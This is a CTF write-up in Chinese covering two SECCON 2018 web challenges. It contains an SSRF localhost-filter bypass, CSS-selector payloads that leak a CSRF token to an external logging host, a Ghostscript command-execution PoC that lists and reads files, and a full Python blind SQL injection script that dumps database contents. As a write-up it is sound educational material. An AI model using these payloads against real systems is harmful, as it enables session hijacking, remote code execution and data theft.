SEECON 2018 唯一的一道 Web 题,不过确实挺好玩的。。
首先打开题目链接:http://ghostkingdom.pwn.seccon.jp/FLAG/
很明显我们需要 getshell 或者是执行相应的 ls /var/www/html/FLAG
命令,列出目录下的文件
然后我们继续往下看题目的功能,首先是最基本的 注册 / 登录:
进来之后是个很明显的菜单界面:
功能如下:
然后我们来具体看每项功能:
可以看到第一项功能是向管理员发送消息,我们可以构造两种消息: Normal
和 Emergency
:
但二种本质上是一样的,都是通过 URL 来传递相应参数,我们可以看到 http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=233&action=msgadm2
和对应的源代码:
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja">
<head>
<title>SECCON 2018</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body bgcolor="black">
<!-- by KeigoYAMAZAKI, 2018.08.31- --><style>h2{border:double #668ad8;border-width:6px 0 6px 0;padding:10px;color:#668ad8} .main{background-color:#e1e1e1;color:black;width:85%;padding:60px;margin:40px auto;border:2px solid #C6B665}.msg{padding:15px;border:1px solid black} .ok{color:blue} .warn{color:orange} .err{color:red} .green{background-color:lightgreen} .btn{background:#668ad8;color:white;padding:0.5em;margin:10px} .sshot{border:2px solid white}</style><img src="seccon2018_logo.png"><div class="main"><form action="?" method="get"><style>span{background-color:red;color:yellow}</style>
<span class="msg">Message: 233</span>
<input type="hidden" name="csrf" value="4b51b0980ba510e7f713da">
<input type="hidden" name="action" value="msgadm3">
<input type="submit" class="btn" value="Send to admin">
很明显 css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9
对应的是字符串 span{background-color:red;color:yellow}
,而 msg=233
对应 Message: 233
。这里想直接进行 html 标签的注入,但很遗憾发现 <>
会被转义:
<form action="?" method="get"><style></sytle>
</style>
<span class="msg">Message: </span></span>
那么 xss 的注入点被限制到了很小的范围,我们仅能通过 <style>span {background: url(xxx)}</style>
的方式发起特定的 GET 请求,虽然看上去用处不大,但会在后续的解题中使用。
第二项功能比较简单,程序会去访问你指定的 URL 并将相应的结果返回:
很明显,这里存在着 SSRF,我们可以通过该操作触发服务端的访问,如通过访问 http://localhost
来查看从 localhost 端登录的效果,但这里存在着一个限制:
You can not use URLs that contain the following keywords: 127, ::1, local
绕过的方式有很多种,我用来 http://0.0.0.0
来绕过该限制:
我们现在已知了本题存在的两个利用点:XSS 和 SSRF,下面需要思考的是利用这两个点来做什么文章。
很明显,我们需要想办法让我们在题目环境外访问到 Upload image 这项功能,通过尝试之后发现通过 X-Forwarded-For
等 header 无效,也无法通过 SSRF 来间接访问,因为相应的回显仅仅是一张截图,无法进行任何操作。
此时,我们关注到这么一个现象,即我们的 Cookie: CGISESSID=405b0d4750c3371e26f519
和 Preview 页面的 csrf token 一致,那么是不是等价于我们只要获得了相应的 csrf token,即可通过修改 cookie 的方式切换登录的状态。
此时想到了 Google CTF 一道题 cat chat 的思路,利用 css 选择器进行 xss,泄露出页面的敏感信息。在这里,我们需要泄露的敏感信息是 <input type="hidden" name="csrf" value="48cab678ef3b27b008e60d">
标签的 value 信息,所以我们可以这样来写 payload:
input[value^="0"] {background: url(http://server?csrf=0)}
input[value^="1"] {background: url(http://server?csrf=1)}
input[value^="2"] {background: url(http://server?csrf=2)}
input[value^="3"] {background: url(http://server?csrf=3)}
input[value^="4"] {background: url(http://server?csrf=4)}
input[value^="5"] {background: url(http://server?csrf=5)}
input[value^="6"] {background: url(http://server?csrf=6)}
input[value^="7"] {background: url(http://server?csrf=7)}
input[value^="8"] {background: url(http://server?csrf=8)}
input[value^="9"] {background: url(http://server?csrf=9)}
input[value^="a"] {background: url(http://server?csrf=a)}
input[value^="b"] {background: url(http://server?csrf=b)}
input[value^="c"] {background: url(http://server?csrf=c)}
input[value^="d"] {background: url(http://server?csrf=d)}
input[value^="e"] {background: url(http://server?csrf=e)}
input[value^="f"] {background: url(http://server?csrf=f)}
只要 value 的值和猜测中的一项成功匹配,我们即可从自己的服务器接收到相应数据,然后每次猜测 csrf token 的一位,共需猜解 22 位。但由于 Send to admin 功能是无效的,我们必须用第二部分介绍的 SSRF 触发 XSS 操作。
为了方便操作,可以利用 python 帮助我们构造 payload:
def getBase64(s):
z = []
for i in '0123456789abcdef':
st = s + i
z.append('input[value^="{}"] {{background: url(http://server?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))
def formatURL(s):
return "http://0.0.0.0/?css={}&action=msgadm2".format(s)
formatURL(getBase64(''))
PS:不知道为什么我爆到前 14 位就会卡住,所以后 8 位可以从尾部开始匹配:
def getBase64(s):
z = []
for i in "0123456789abcdef":
st = i+s
z.append('input[value$="{}"] {{background: url(http://5ax2cw.ceye.io?csrf={})}}'.format(st, st))
return base64.b64encode('\n'.join(z))
操作过程如下:
(PS:之所以要先登录是因为你想要获得的是你在 localhost 状态下的 cookie,所以你必须在远端触发一次登录操作
成功获得 cookie: 405b0d4750c3371e26f519
现在我们终于可以上传图片了,首先任意上传一张错误的图片:
然后尝试触发 Convert to GIF format,得到报错:
convert: Not a JPEG file: starts with 0x62 0x6f `/var/www/html/images/05b12f2ee7ee7192e645c705fe50d1dc.jpg' @ error/jpeg.c/JPEGErrorHandler/316. convert: no images defined `/var/www/html/images/05b12f2ee7ee7192e645c705fe50d1dc.gif' @ error/convert.c/ConvertImageCommand/3046.
/images/05b12f2ee7ee7192e645c705fe50d1dc.gif
根据报错搜索可以得到相应程序使用的库:imagemagick,然后继续搜索 imagemagick 相关的漏洞,得到 Ghostscript命令执行漏洞,结合题目标题 ghostkingdom,很明显地提示了相应考点:ghostscript 的命令执行。
于是从网上借鉴一个 POC:
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(ls /var/www/html/FLAG/)) currentdevice putdeviceprops
列出目录后得到 flag 文件名为 FLAGflagF1A8.txt
,继续构造,获得 flag
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%$(cat /var/www/html/FLAG/FLAGflagF1A8.txt)) currentdevice putdeviceprops
本题结合了 XSS / SSRF / GhostScript 命令执行漏洞,环环相扣,可以说是非常有趣了。另外听说貌似还有道表面 Reverse 题,考的是 SQL 注入,有空做了继续贴在这里。。
当初以为这道题既然只挂了 RE,肯定还是道 Reverse 题目,没想到后半部分还真的是道 Web,坑队友了…当时说账户密码是不是还藏在 apk 文件里什么的…
前面 Re 的部分不再赘述(毕竟不会),我们来看后半部分的 SQL 注入部分。首先是关注到这样一个链接:http://staging.shooter.pwn.seccon.jp/admin/sessions/new ,是个登录界面:
由于是复现的就只关注写脚本了,哪位大佬能告诉我是怎么 fuzz 出注入点的,完全不会(哭泣
总之在 password 使用 '))) union select 1#
可以登录成功,但很明显的由于没有回显,所以只能尝试盲注。可以注意到 '))) union select 1#
和 '))) union select NULL#
是两种不同的结果,前者显示登录成功,后者则是回到该页面继续登录,所以可以根据这一特点进行盲注,盲注脚本如下:
import string
import requests
from bs4 import BeautifulSoup
s = requests.Session()
def judge(text):
return len(text) < 1772
def get(url):
return s.get(url)
def post(url, data):
return s.post(url, data=data)
def test(payload):
text = get('http://staging.shooter.pwn.seccon.jp/admin/sessions/new').text
html = BeautifulSoup(text, 'lxml')
inputs = html.find_all('input')
csrf_token = inputs[1]['value']
data = {
'authenticity_token': csrf_token,
'login_id': 'admin',
'password': payload,
'commit': 'Login'
}
return post('http://staging.shooter.pwn.seccon.jp/admin/sessions', data)
def blind_inject(s):
r = ''
while True:
left = 0
right = 128
while left <= right:
mid = (left + right) // 2
c = chr(mid)
if c == "'" or c == "#":
mid += 1
c = chr(mid)
payload = s.format(len(r)+1, c)
if judge(test(payload).text):
left = mid + 1
else:
right = mid - 1
if left == 0 or left == 32:
break
else:
print(left)
r += chr(left)
print(r)
return r
def main():
# database: SHOOTER_STAGING
# blind_inject("'))) union SELECT if(SUBSTR(database(),{},1) > '{}', 1, NULL)#")
#
# table: AR_INTERNAL_METADATA,FLAGS ...
# blind_inject("'))) union SELECT if(substr((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),{},1) > '{}', 1, NULL)#")
#
# column: ID,VALUE,CREATED_AT,UPDATED_AT
# blind_inject("'))) union SELECT if(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flags'), {},1) > '{}', 1, NULL)#")
#
# flag
blind_inject("'))) union SELECT if(substr((SELECT value FROM flags where id = 1), {},1) > '{}', 1, NULL)#")
if __name__ == '__main__':
main()
最后获得 flag:SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}